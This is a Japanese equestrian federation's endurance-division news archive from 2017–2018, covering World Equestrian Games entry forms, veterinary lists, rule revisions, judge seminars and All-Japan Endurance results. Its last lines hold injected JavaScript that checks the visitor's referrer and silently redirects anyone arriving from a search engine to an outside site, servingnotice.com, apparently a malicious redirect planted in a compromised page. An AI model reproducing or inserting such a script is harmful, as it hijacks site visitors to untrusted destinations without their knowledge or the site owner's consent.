アーカイブ:

エンデュランス本部
2018 年 4 月 17 日
WEG(エンデュランス)参加希望申請書を掲載しました
世界馬術選手権大会(2018/トライオン)へ出場を希望する選手の方は以下の参加希望申請書を4月28日(土)までにご提出ください。

世界馬術選手権大会(2018/トライオン)
エンデュランス術競技 参加希望申請書  2018年4月28日(土)〆切

代表選考基準のご確認はこちらから。



 
aaaa
エンデュランス本部
2018 年 4 月 3 日
《エンデュランス》獣医師団長リスト
平成30年度より新たに施行される「エンデュランス競技に関する公認競技会規程」第13条に記載の「獣医師団長リスト」を掲載いたします。

第13条 獣医師団
獣医師団は、獣医師団長リストに掲載された者を獣医師団長とし、獣医師である者で編成すること。


※経過措置として、2018年9月30日までは、当該リスト未掲載の獣医師であってもエンデュランス本部の承認を得て獣医師団長を務めることを認めます。

エンデュランス獣医師団長リスト (PDF)
 
aaaa
エンデュランス本部
2018 年 3 月 16 日
馬伝染性貧血検査要件の撤廃について
 農林水産省および軽種馬防疫協議会の決定を受けて、《日馬連 検査・予防接種実施要領》の第4項を削除し、4月1日から施行します。馬伝染性貧血検査にかかる要件を下記の通り撤廃します。

(旧)入厩日の5年前の1月1日以降の陰性証明が必要
 ↓
(新)証明は不要

《JEF検査・予防接種実施要領(平成30年4月1日更新)》はこちらから。
 
aaaa
エンデュランス本部
2018 年 3 月 15 日
年度をまたぐ公認競技会における競技会規程の適用について
日本馬術連盟競技会関連規程平成30年度版は、平成3041日から施行されます。ただし今年度に限り、平成30331日(土)~41日(日)と年度をまたぐ公認競技会については、41日(日)も平成29年度版の競技会規程を適用するものとします。

 
aaaa
エンデュランス本部
2018 年 2 月 1 日
《世界選手権》エンデュランス代表人馬選考基準発表(2018/1/20追記)
《世界馬術選手権大会(2018/トライオン)》の代表人馬選考基準を発表します(2018年1月20日追記:選考対象期間締切日追加)。


要項はこちら(WEGエンデュランス馬術競技)。
 
aaaa
エンデュランス本部
2018 年 1 月 23 日
《エンデュランス》 競技会関連規程一部改定のお知らせ
日本馬術連盟競技会関連規程平成30年度版より、下記の通り一部改定を行ない、公認競技を40km以上としますのでお知らせいたします。平成30年4月1日より施行します。尚、平成30年度中に限り、移行措置として平成30年3月31日までに取得した非公認40km、60km競技の完走証も、出場資格認定用に有効とみなします

日本馬術連盟競技会関連規程 第8編 エンデュランス競技 ※変更点抜粋 (PDF)
 
aaaa
エンデュランス本部
2017 年 12 月 28 日
《エンデュランス審判員研修会 兼 検定試験》実施要項 発表
 《平成29年度エンデュランス審判員研修会 兼 エンデュランス審判員昇格検定試験》の実施要項を発表いたします。
 受講を希望される方は実施要項をご確認いただき、締切日までにお申し込みください。

(1)東京会場
日程:2018年3月3日(土)
会場:TKP東京駅前カンファレンスセンター ミーティングルーム5B/アクセス方法はこちら(外部リンク)から

東京会場:実施要項&受講申込書の確認はこちらから


(2)北海道会場
日程:2018年3月24日(土)
会場:ホテルノースシティ

北海道会場:実施要項&受講申込書の確認はこちらから
aaaa
エンデュランス本部
2017 年 10 月 16 日
《世界馬術選手権大会(WEG)》チケット発売開始
《世界馬術選手権大会(2018/トライオン)》のチケットの発売が始まりました。
大会は来年(2018年)9月11日~23日、全8種目の競技が行われます。

詳しくは大会公式サイトをご覧ください。(外部リンク)
aaaa
エンデュランス本部
2017 年 10 月 12 日
競技会関連規程一部改定のお知らせ
日本馬術連盟競技会関連規程平成29年度版について、下記の通り一部改定を行ないましたのでお知らせいたします。


○総合馬術競技およびエンデュランス競技に関する公認競技会規程第2版
第8条 審査事項(平成29年10月12日施行)
エンデュランス大会役員の審査事項を改定

最新規程のご確認は、規程集:競技関連【JEF】ページから


○日本馬術連盟獣医規定
第1005条 オフィシャル獣医師(平成29年10月12日施行)
2. 獣医師団と救護獣医師の兼務について改定

最新規程のご確認は、規程集:獣医・ドーピング防止【JEF】ページから

aaaa
エンデュランス本部
2017 年 9 月 23 日
《全日本エンデュランス》結果

 9月23日(土)、北海道河東郡鹿追町ライディングパークを発着とする特設コースにて、《第18回全日本エンデュランス馬術大会2017》を開催しました。今年の選手権(120km)には10人馬がエントリーし、午前3時にスタート。優勝は、中盤から単独トップに立って後続を突き放した荒井三冬&キセキノヒカリ(北海道エンデュランス協会)で、走行タイム9時間18分37秒、平均時速13.17kmでゴール。高校2年生の三冬選手は、2010年に全日本エンデュランス選手権を優勝した荒井亜紀選手の娘で、嬉しい親子制覇となりました。
 2位は榊原あかね&クロタケ(北海道エンデュランス協会)、3位は水野史朗&モザルト(北海道エンデュランス協会)で、出場9頭中5頭が完走しました。
 80km競技は出場13頭中6頭が完走。優勝は阿部睦也&ひまわりちゃん(北海道エンデュランス協会)、2位は中山泉美&ドクター((公社)神奈川県馬術協会)、3位は平井美夏&錦之介(北海道エンデュランス協会)。
 60km競技は出場13頭中8頭が完走。優勝は髙鳥勉&鈴の助(北海道エンデュランス協会)、2位は相沢万里佳&リン(RCクレイン伊奈)、3位は和田雅樹&アイリーン(東武RC&クレイン)となりました。




▲選手権優勝 荒井三冬&キセキノヒカリ



▲荒井三冬選手(写真左)とクルーたち


《最終結果》
全日本エンデュランス選手権(120km)
一般競技80km
一般競技60km
*全競技




 

aaaa
 

アーカイブ:

  • 2018.04.04
  • 2018.04.25
  • 2018.04.12
  • 2018.04.27
  • 2018.04.17
  • 2017.12.08
  • 2018.04.27
  • 2018.04.17
  • 2018.04.05
  • 2018.04.06
  • 2018.04.03
  • 2016.05.06
  • 2018.02.01


var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/lvinter2/intermediary.html?outlet80com"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl;